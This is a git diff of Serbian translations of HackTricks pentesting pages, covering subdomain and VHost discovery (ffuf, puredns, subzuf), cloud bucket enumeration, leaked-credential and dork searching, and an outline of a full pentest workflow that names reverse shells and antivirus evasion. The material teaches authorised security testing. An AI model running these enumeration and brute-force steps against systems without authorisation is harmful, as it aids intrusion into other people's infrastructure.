* [**regulator**](https://github.com/cramppet/regulator): Za više informacija pročitajte ovaj [**post**](https://cramppet.github.io/regulator/index.html), ali će u suštini uzeti **glavne delove** iz **otkrivenih poddomena** i mešati ih kako bi pronašao više poddomena.
|
* [**regulator**](https://github.com/cramppet/regulator): Za više informacija pročitajte ovaj [**post**](https://cramppet.github.io/regulator/index.html), ali će u osnovi uzeti **glavne delove** iz **otkrivenih poddomena** i mešati ih kako bi pronašao više poddomena.
|
||||||
```bash
|
```bash
|
||||||
python3 main.py adobe.com adobe adobe.rules
|
python3 main.py adobe.com adobe adobe.rules
|
||||||
make_brute_list.sh adobe.rules adobe.brute
|
make_brute_list.sh adobe.rules adobe.brute
|
||||||
puredns resolve adobe.brute --write adobe.valid
|
puredns resolve adobe.brute --write adobe.valid
|
||||||
```
|
```
|
||||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ je fuzzer za brute-force subdomena uparen sa izuzetno jednostavnom, ali efikasnom DNS odgovorom vođenom algoritmom. Koristi dati skup ulaznih podataka, kao što su prilagođena lista reči ili istorijski DNS/TLS zapisi, da precizno sintetiše više odgovarajućih imena domena i dodatno ih proširuje u petlji na osnovu informacija prikupljenih tokom DNS skeniranja.
|
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ je fuzzer za brute-force subdomena uparen sa izuzetno jednostavnom, ali efikasnom DNS odgovorom vođenom algoritmom. Koristi pruženi skup ulaznih podataka, kao što su prilagođena lista reči ili istorijski DNS/TLS zapisi, da precizno sintetiše više odgovarajućih imena domena i dodatno ih proširuje u petlji na osnovu informacija prikupljenih tokom DNS skeniranja.
|
||||||
```
|
```
|
||||||
echo www | subzuf facebook.com
|
echo www | subzuf facebook.com
|
||||||
```
|
```
|
||||||
### **Workflow za Otkriće Poddomena**
|
### **Workflow za otkrivanje poddomena**
|
||||||
|
|
||||||
Pogledajte ovaj blog post koji sam napisao o tome kako da **automatizujem otkrivanje poddomena** sa domena koristeći **Trickest workflows** tako da ne moram ručno da pokrećem gomilu alata na svom računaru:
|
Pogledajte ovaj blog post koji sam napisao o tome kako da **automatizujem otkrivanje poddomena** sa domena koristeći **Trickest workflows** tako da ne moram ručno da pokrećem gomilu alata na svom računaru:
|
||||||
|
|
||||||
|
@ -432,17 +432,17 @@ Pogledajte ovaj blog post koji sam napisao o tome kako da **automatizujem otkriv
|
||||||
|
|
||||||
{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %}
|
{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %}
|
||||||
|
|
||||||
### **VHosts / Virtuelni Hostovi**
|
### **VHosts / Virtuelni hostovi**
|
||||||
|
|
||||||
Ako ste pronašli IP adresu koja sadrži **jednu ili više web stranica** koje pripadaju poddomenima, možete pokušati da **pronađete druge poddomene sa web stranicama na toj IP adresi** tražeći u **OSINT izvorima** za domene na IP-u ili **brute-forcing VHost imena domena na toj IP adresi**.
|
Ako ste pronašli IP adresu koja sadrži **jednu ili više web stranica** koje pripadaju poddomenima, možete pokušati da **pronađete druge poddomene sa web stranicama na toj IP adresi** tako što ćete tražiti u **OSINT izvorima** za domene na IP-u ili **brute-forcing VHost imena domena na toj IP adresi**.
|
||||||
|
|
||||||
#### OSINT
|
#### OSINT
|
||||||
|
|
||||||
Možete pronaći neke **VHost-ove na IP-ovima koristeći** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ili druge API-je**.
|
Možete pronaći neke **VHosts na IP-ovima koristeći** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ili druge API-je**.
|
||||||
|
|
||||||
**Brute Force**
|
**Brute Force**
|
||||||
|
|
||||||
Ako sumnjate da neki poddomen može biti skriven na web serveru, možete pokušati da ga brute-forcujete:
|
Ako sumnjate da neki poddomen može biti skriven na web serveru, možete pokušati da ga brute force-ujete:
|
||||||
```bash
|
```bash
|
||||||
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
|
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
|
||||||
|
|
||||||
|
@ -469,7 +469,7 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
|
||||||
### **Buckets Brute Force**
|
### **Buckets Brute Force**
|
||||||
|
|
||||||
Dok tražite **subdomene**, obratite pažnju da li se **upučuju** na neku vrstu **buckets**, i u tom slučaju [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
Dok tražite **subdomene**, obratite pažnju da li se **upučuju** na neku vrstu **buckets**, i u tom slučaju [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||||
Takođe, kako ćete u ovom trenutku znati sve domene unutar opsega, pokušajte da [**brute force-ujete moguće nazive buckets i proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/).
|
Takođe, pošto ćete u ovom trenutku znati sve domene unutar opsega, pokušajte da [**brute force-ujete moguće nazive buckets i proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||||
|
|
||||||
### **Monitorizacija**
|
### **Monitorizacija**
|
||||||
|
|
||||||
|
@ -478,7 +478,7 @@ Možete **pratiti** da li su **nove subdomene** domena kreirane praćenjem **Cer
|
||||||
### **Traženje ranjivosti**
|
### **Traženje ranjivosti**
|
||||||
|
|
||||||
Proverite moguće [**preuzimanje subdomena**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
Proverite moguće [**preuzimanje subdomena**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||||
Ako **subdomena** upućuje na neki **S3 bucket**, [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/).
|
Ako se **subdomena** upućuje na neki **S3 bucket**, [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||||
|
|
||||||
Ako pronađete neku **subdomenu sa IP-om koji se razlikuje** od onih koje ste već pronašli u otkrivanju resursa, trebali biste izvršiti **osnovno skeniranje ranjivosti** (koristeći Nessus ili OpenVAS) i neko [**skeniranje portova**](../pentesting-network/#discovering-hosts-from-the-outside) sa **nmap/masscan/shodan**. U zavisnosti od toga koji servisi rade, možete pronaći u **ovoj knjizi neke trikove za "napad" na njih**.\
|
Ako pronađete neku **subdomenu sa IP-om koji se razlikuje** od onih koje ste već pronašli u otkrivanju resursa, trebali biste izvršiti **osnovno skeniranje ranjivosti** (koristeći Nessus ili OpenVAS) i neko [**skeniranje portova**](../pentesting-network/#discovering-hosts-from-the-outside) sa **nmap/masscan/shodan**. U zavisnosti od toga koji servisi rade, možete pronaći u **ovoj knjizi neke trikove za "napad" na njih**.\
|
||||||
_Napomena: ponekad je subdomena hostovana unutar IP-a koji nije pod kontrolom klijenta, tako da nije u opsegu, budite oprezni._
|
_Napomena: ponekad je subdomena hostovana unutar IP-a koji nije pod kontrolom klijenta, tako da nije u opsegu, budite oprezni._
|
||||||
|
@ -486,7 +486,7 @@ _Napomena: ponekad je subdomena hostovana unutar IP-a koji nije pod kontrolom kl
|
||||||
## IPs
|
## IPs
|
||||||
|
|
||||||
U početnim koracima možda ste **pronašli neke IP opsege, domene i subdomene**.\
|
U početnim koracima možda ste **pronašli neke IP opsege, domene i subdomene**.\
|
||||||
Vreme je da **prikupite sve IP adrese iz tih opsega** i za **domene/subdomene (DNS upiti).**
|
Sada je vreme da **prikupite sve IP adrese iz tih opsega** i za **domene/subdomene (DNS upiti).**
|
||||||
|
|
||||||
Koristeći usluge iz sledećih **besplatnih API-ja**, takođe možete pronaći **prethodne IP adrese korišćene od strane domena i subdomena**. Ove IP adrese možda još uvek pripadaju klijentu (i mogu vam omogućiti da pronađete [**CloudFlare zaobilaženja**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
Koristeći usluge iz sledećih **besplatnih API-ja**, takođe možete pronaći **prethodne IP adrese korišćene od strane domena i subdomena**. Ove IP adrese možda još uvek pripadaju klijentu (i mogu vam omogućiti da pronađete [**CloudFlare zaobilaženja**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||||
|
|
||||||
|
@ -520,27 +520,27 @@ Sada kada ste otkrili **sve web servere** prisutne u opsegu (među **IP-ovima**
|
||||||
|
|
||||||
Da biste sproveli predloženu ideju, možete koristiti [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) ili [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
|
Da biste sproveli predloženu ideju, možete koristiti [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) ili [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
|
||||||
|
|
||||||
Pored toga, možete koristiti [**eyeballer**](https://github.com/BishopFox/eyeballer) da pregledate sve **snimke ekrana** i kažete vam **šta verovatno sadrži ranjivosti**, a šta ne.
|
Pored toga, možete koristiti [**eyeballer**](https://github.com/BishopFox/eyeballer) da pregledate sve **screenshotove** i kažete vam **šta verovatno sadrži ranjivosti**, a šta ne.
|
||||||
|
|
||||||
## Public Cloud Assets
|
## Public Cloud Assets
|
||||||
|
|
||||||
Da biste pronašli potencijalne cloud resurse koji pripadaju kompaniji, trebali biste **početi sa listom ključnih reči koje identifikuju tu kompaniju**. Na primer, za kripto kompaniju možete koristiti reči kao što su: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
|
Da biste pronašli potencijalne cloud resurse koji pripadaju kompaniji, trebali biste **početi sa listom ključnih reči koje identifikuju tu kompaniju**. Na primer, za kripto kompaniju možete koristiti reči kao što su: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
|
||||||
|
|
||||||
Takođe će vam biti potrebne liste reči **uobičajenih reči korišćenih u kanticama**:
|
Takođe će vam biti potrebne liste reči **uobičajenih reči korišćenih u bucket-ima**:
|
||||||
|
|
||||||
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
|
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
|
||||||
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
||||||
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
|
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
|
||||||
|
|
||||||
Zatim, sa tim rečima trebali biste generisati **permutacije** (pogledajte [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) za više informacija).
|
Zatim, sa tim rečima trebali biste generisati **permutacije** (proverite [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) za više informacija).
|
||||||
|
|
||||||
Sa dobijenim listama reči možete koristiti alate kao što su [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ili** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
|
Sa dobijenim listama reči možete koristiti alate kao što su [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ili** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
|
||||||
|
|
||||||
Zapamtite da kada tražite Cloud resurse, trebali biste **tražiti više od samo kanti u AWS-u**.
|
Zapamtite da kada tražite Cloud resurse, trebali biste **gledati više od samo bucket-a u AWS-u**.
|
||||||
|
|
||||||
### **Looking for vulnerabilities**
|
### **Looking for vulnerabilities**
|
||||||
|
|
||||||
Ako pronađete stvari kao što su **otvorene kante ili izložene cloud funkcije**, trebali biste **pristupiti njima** i pokušati da vidite šta vam nude i da li ih možete zloupotrebiti.
|
Ako pronađete stvari kao što su **otvoreni bucket-i ili izložene cloud funkcije**, trebali biste **pristupiti njima** i pokušati da vidite šta vam nude i da li ih možete zloupotrebiti.
|
||||||
|
|
||||||
## Emails
|
## Emails
|
||||||
|
|
||||||
|
@ -564,11 +564,11 @@ Sa **domenima,** **poddomenima** i **emailovima** možete početi da tražite kr
|
||||||
|
|
||||||
### **Looking for vulnerabilities**
|
### **Looking for vulnerabilities**
|
||||||
|
|
||||||
Ako pronađete **validne procurile** kredencijale, ovo je vrlo lako postignuće.
|
Ako pronađete **validne procurile** kredencijale, ovo je vrlo lakša pobeda.
|
||||||
|
|
||||||
## Secrets Leaks
|
## Secrets Leaks
|
||||||
|
|
||||||
Procureni kredencijali su povezani sa hakovanjima kompanija gde je **osetljiva informacija procurila i prodana**. Međutim, kompanije mogu biti pogođene i **drugim procurenjima** čije informacije nisu u tim bazama podataka:
|
Procureni kredencijali su povezani sa hakovanjima kompanija gde je **osetljiva informacija procurila i prodana**. Međutim, kompanije mogu biti pogođene i **drugim curenjima** čije informacije nisu u tim bazama podataka:
|
||||||
|
|
||||||
### Github Leaks
|
### Github Leaks
|
||||||
|
|
||||||
|
@ -579,7 +579,7 @@ Možete koristiti **alat** [**Leakos**](https://github.com/carlospolop/Leakos) d
|
||||||
|
|
||||||
#### Github Dorks
|
#### Github Dorks
|
||||||
|
|
||||||
Proverite i ovu **stranicu** za potencijalne **github dorks** koje takođe možete pretraživati u organizaciji koju napadate:
|
Proverite takođe ovu **stranicu** za potencijalne **github dorks** koje možete takođe pretraživati u organizaciji koju napadate:
|
||||||
|
|
||||||
{% content-ref url="github-leaked-secrets.md" %}
|
{% content-ref url="github-leaked-secrets.md" %}
|
||||||
[github-leaked-secrets.md](github-leaked-secrets.md)
|
[github-leaked-secrets.md](github-leaked-secrets.md)
|
||||||
|
@ -592,13 +592,13 @@ Možete koristiti alat [**Pastos**](https://github.com/carlospolop/Pastos) da pr
|
||||||
|
|
||||||
### Google Dorks
|
### Google Dorks
|
||||||
|
|
||||||
Stari, ali zlata vredni google dorks su uvek korisni za pronalaženje **izloženih informacija koje ne bi trebale biti tu**. Jedini problem je što [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) sadrži nekoliko **hiljada** mogućih upita koje ne možete ručno pokrenuti. Dakle, možete uzeti svojih omiljenih 10 ili možete koristiti **alat kao što je** [**Gorks**](https://github.com/carlospolop/Gorks) **da ih sve pokrenete**.
|
Stari, ali zlatni google dorks su uvek korisni za pronalaženje **izloženih informacija koje ne bi trebale biti tu**. Jedini problem je što [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) sadrži nekoliko **hiljada** mogućih upita koje ne možete ručno pokrenuti. Dakle, možete uzeti svojih omiljenih 10 ili možete koristiti **alat kao što je** [**Gorks**](https://github.com/carlospolop/Gorks) **da ih sve pokrenete**.
|
||||||
|
|
||||||
_Napomena da alati koji očekuju da pokrenu celu bazu koristeći regularni Google pretraživač nikada neće završiti, jer će vas Google vrlo brzo blokirati._
|
_Napomena da alati koji očekuju da pokrenu celu bazu koristeći regularni Google pretraživač nikada neće završiti jer će vas Google vrlo brzo blokirati._
|
||||||
|
|
||||||
### **Looking for vulnerabilities**
|
### **Looking for vulnerabilities**
|
||||||
|
|
||||||
Ako pronađete **validne procurile** kredencijale ili API tokene, ovo je vrlo lako postignuće.
|
Ako pronađete **validne procurile** kredencijale ili API tokene, ovo je vrlo laka pobeda.
|
||||||
|
|
||||||
## Public Code Vulnerabilities
|
## Public Code Vulnerabilities
|
||||||
|
|
||||||
|
@ -633,12 +633,12 @@ Dakle, već ste:
|
||||||
5. Pronašli sve **IP-ove** (iz i **ne iz CDN-a**) unutar opsega.
|
5. Pronašli sve **IP-ove** (iz i **ne iz CDN-a**) unutar opsega.
|
||||||
6. Pronašli sve **web servere** i napravili **screenshot** njih (ima li nešto čudno što vredi dubljeg pregleda?)
|
6. Pronašli sve **web servere** i napravili **screenshot** njih (ima li nešto čudno što vredi dubljeg pregleda?)
|
||||||
7. Pronašli sve **potencijalne javne cloud resurse** koji pripadaju kompaniji.
|
7. Pronašli sve **potencijalne javne cloud resurse** koji pripadaju kompaniji.
|
||||||
8. **Emailovi**, **procureni kredencijali** i **procurene tajne** koje bi vam mogle doneti **veliku pobedu vrlo lako**.
|
8. **Emailovi**, **curenje kredencijala** i **curenje tajni** koji bi vam mogli doneti **veliku pobedu vrlo lako**.
|
||||||
9. **Pentesting svih web stranica koje ste pronašli**
|
9. **Pentesting svih web stranica koje ste pronašli**
|
||||||
|
|
||||||
## **Full Recon Automatic Tools**
|
## **Full Recon Automatic Tools**
|
||||||
|
|
||||||
Postoji nekoliko alata koji će izvršiti deo predloženih radnji protiv datog opsega.
|
Postoji nekoliko alata koji će izvršiti deo predloženih akcija protiv datog opsega.
|
||||||
|
|
||||||
* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
|
* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
|
||||||
* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
|
* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
|
||||||
|
@ -649,9 +649,9 @@ Postoji nekoliko alata koji će izvršiti deo predloženih radnji protiv datog o
|
||||||
|
|
||||||
* Svi besplatni kursevi [**@Jhaddix**](https://twitter.com/Jhaddix) kao što je [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
* Svi besplatni kursevi [**@Jhaddix**](https://twitter.com/Jhaddix) kao što je [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **karijeru u hakovanju** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
Ako ste zainteresovani za **karijeru u hakovanju** i hakovanje nehakovivog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -664,7 +664,7 @@ Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt=""
|
||||||
<summary>Podrška HackTricks</summary>
|
<summary>Podrška HackTricks</summary>
|
||||||
|
|
||||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite trikove hakovanja slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite trikove hakovanja slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# Pentesting Metodologija
|
# Pentesting Metodologija
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Učite i vežbajte AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Trening AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Učite i vežbajte AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Trening GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -15,9 +15,9 @@ Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" da
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **karijeru u hakovanju** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
Ako ste zainteresovani za **hakersku karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -33,32 +33,32 @@ Da li imate **fizički pristup** mašini koju želite da napadnete? Trebalo bi d
|
||||||
|
|
||||||
### 1 - [Otkriće hostova unutar mreže](pentesting-network/#discovering-hosts)/ [Otkriće imovine kompanije](external-recon-methodology/)
|
### 1 - [Otkriće hostova unutar mreže](pentesting-network/#discovering-hosts)/ [Otkriće imovine kompanije](external-recon-methodology/)
|
||||||
|
|
||||||
**U zavisnosti** od toga da li je **test** koji sprovodite **interni ili eksterni test**, možda ćete biti zainteresovani za pronalaženje **hostova unutar mreže kompanije** (interni test) ili **pronalaženje imovine kompanije na internetu** (eksterni test).
|
**U zavisnosti** od toga da li je **test** koji izvodite **interni ili eksterni test**, možda ćete biti zainteresovani za pronalaženje **hostova unutar mreže kompanije** (interni test) ili **pronalaženje imovine kompanije na internetu** (eksterni test).
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Imajte na umu da ako sprovodite eksterni test, kada uspete da dobijete pristup unutrašnjoj mreži kompanije, trebali biste ponovo započeti ovaj vodič.
|
Imajte na umu da ako izvodite eksterni test, kada uspete da dobijete pristup unutrašnjoj mreži kompanije, trebali biste ponovo započeti ovaj vodič.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### **2-** [**Zabavljanje sa mrežom**](pentesting-network/) **(Interni)**
|
### **2-** [**Zabava sa mrežom**](pentesting-network/) **(Interni)**
|
||||||
|
|
||||||
**Ova sekcija se primenjuje samo ako sprovodite interni test.**\
|
**Ova sekcija se primenjuje samo ako izvodite interni test.**\
|
||||||
Pre nego što napadnete host, možda biste želeli da **ukradete neke akreditive** **iz mreže** ili **snifujete** neke **podatke** kako biste pasivno/aktivno (MitM) saznali šta možete pronaći unutar mreže. Možete pročitati [**Pentesting Mrežu**](pentesting-network/#sniffing).
|
Pre nego što napadnete host, možda biste želeli da **ukradete neke akreditive** **iz mreže** ili **snifujete** neke **podatke** kako biste pasivno/aktivno (MitM) saznali šta možete pronaći unutar mreže. Možete pročitati [**Pentesting Mrežu**](pentesting-network/#sniffing).
|
||||||
|
|
||||||
### 3- [Port skeniranje - Otkriće usluga](pentesting-network/#scanning-hosts)
|
### 3- [Port skeniranje - Otkriće usluga](pentesting-network/#scanning-hosts)
|
||||||
|
|
||||||
Prva stvar koju treba uraditi kada **tražite ranjivosti na hostu** je da znate koje **usluge rade** na kojim portovima. Pogledajmo [**osnovne alate za skeniranje portova hostova**](pentesting-network/#scanning-hosts).
|
Prva stvar koju treba uraditi kada **tražite ranjivosti na hostu** je da znate koje **usluge rade** na kojim portovima. Pogledajmo [**osnovne alate za skeniranje portova hostova**](pentesting-network/#scanning-hosts).
|
||||||
|
|
||||||
### **4-** [Pretraživanje eksploata usluga](search-exploits.md)
|
### **4-** [Pretraživanje eksploata verzija usluga](search-exploits.md)
|
||||||
|
|
||||||
Kada znate koje usluge rade, i možda njihovu verziju, morate **tražiti poznate ranjivosti**. Možda ćete imati sreće i postoji eksploat koji će vam dati shell...
|
Kada znate koje usluge rade, i možda njihovu verziju, morate **tražiti poznate ranjivosti**. Možda ćete imati sreće i postoji eksploatacija koja će vam dati shell...
|
||||||
|
|
||||||
### **5-** Pentesting Usluge
|
### **5-** Pentesting Usluge
|
||||||
|
|
||||||
Ako nema nikakvih zanimljivih eksploata za bilo koju aktivnu uslugu, trebali biste potražiti **uobičajene greške u konfiguraciji svake aktivne usluge.**
|
Ako nema nikakvih zanimljivih eksploatacija za bilo koju aktivnu uslugu, trebali biste potražiti **uobičajene greške u konfiguraciji svake aktivne usluge.**
|
||||||
|
|
||||||
**Unutar ove knjige naći ćete vodič za pentestovanje najčešćih usluga** (i drugih koje nisu tako uobičajene)**. Molimo vas da potražite u levom indeksu _**PENTESTING**_ **sekciju** (usluge su poredane po njihovim podrazumevanim portovima).
|
**Unutar ove knjige naći ćete vodič za pentestovanje najčešćih usluga** (i drugih koje nisu tako uobičajene)**. Molimo vas da potražite u levom indeksu _**PENTESTING**_ **sekciju** (usluge su poredane po njihovim podrazumevanim portovima).
|
||||||
|
|
||||||
**Želim da napravim posebnu napomenu o** [**Pentestovanju Weba**](../network-services-pentesting/pentesting-web/) **deo (jer je to najopsežniji).**\
|
**Želim da napravim posebnu napomenu o** [**Pentestingu Web**](../network-services-pentesting/pentesting-web/) **delu (jer je to najopsežniji).**\
|
||||||
Takođe, mali vodič o tome kako [**pronaći poznate ranjivosti u softveru**](search-exploits.md) može se naći ovde.
|
Takođe, mali vodič o tome kako [**pronaći poznate ranjivosti u softveru**](search-exploits.md) može se naći ovde.
|
||||||
|
|
||||||
**Ako vaša usluga nije u indeksu, potražite na Google-u** za druge tutorijale i **javite mi ako želite da je dodam.** Ako **ne možete ništa pronaći** na Google-u, izvršite svoj **vlastiti slepi pentesting**, možete početi tako što ćete **povezati se na uslugu, fuzzovati je i čitati odgovore** (ako ih ima).
|
**Ako vaša usluga nije u indeksu, potražite na Google-u** za druge tutorijale i **javite mi ako želite da je dodam.** Ako **ne možete ništa pronaći** na Google-u, izvršite svoj **vlastiti slepi pentesting**, možete početi tako što ćete **povezati se na uslugu, fuzzovati je i čitati odgovore** (ako ih ima).
|
||||||
|
@ -73,13 +73,13 @@ U nekim scenarijima **Brute-Force** bi mogao biti koristan za **kompromitovanje*
|
||||||
|
|
||||||
### 6- [Phishing](phishing-methodology/)
|
### 6- [Phishing](phishing-methodology/)
|
||||||
|
|
||||||
Ako u ovom trenutku niste pronašli nijednu zanimljivu ranjivost, možda ćete morati da pokušate neki phishing kako biste ušli u mrežu. Možete pročitati moju metodologiju phishinga [ovde](phishing-methodology/):
|
Ako u ovom trenutku niste pronašli nijednu zanimljivu ranjivost, možda ćete morati da probate neki phishing kako biste ušli u mrežu. Možete pročitati moju metodologiju phishinga [ovde](phishing-methodology/):
|
||||||
|
|
||||||
### **7-** [**Dobijanje Shell-a**](reverse-shells/)
|
### **7-** [**Dobijanje Shell-a**](reverse-shells/)
|
||||||
|
|
||||||
Na neki način biste trebali pronaći **neki način da izvršite kod** na žrtvi. Tada bi [lista mogućih alata unutar sistema koje možete koristiti za dobijanje reverznog shell-a bila veoma korisna](reverse-shells/).
|
Na neki način biste trebali pronaći **neki način da izvršite kod** na žrtvi. Tada bi [lista mogućih alata unutar sistema koje možete koristiti za dobijanje reverznog shell-a bila veoma korisna](reverse-shells/).
|
||||||
|
|
||||||
Posebno na Windows-u mogli biste trebati neku pomoć da **izbegnete antiviruse**: [**Proverite ovu stranicu**](../windows-hardening/av-bypass.md)**.**\\
|
Posebno na Windows-u mogli biste trebati pomoć da **izbegnete antiviruse**: [**Proverite ovu stranicu**](../windows-hardening/av-bypass.md)**.**\\
|
||||||
|
|
||||||
### 8- Unutra
|
### 8- Unutra
|
||||||
|
|
||||||
|
@ -91,11 +91,11 @@ Ako imate problema sa shell-om, ovde možete pronaći malu **kompilaciju najkori
|
||||||
|
|
||||||
### **9 -** [**Ekstrakcija**](exfiltration.md)
|
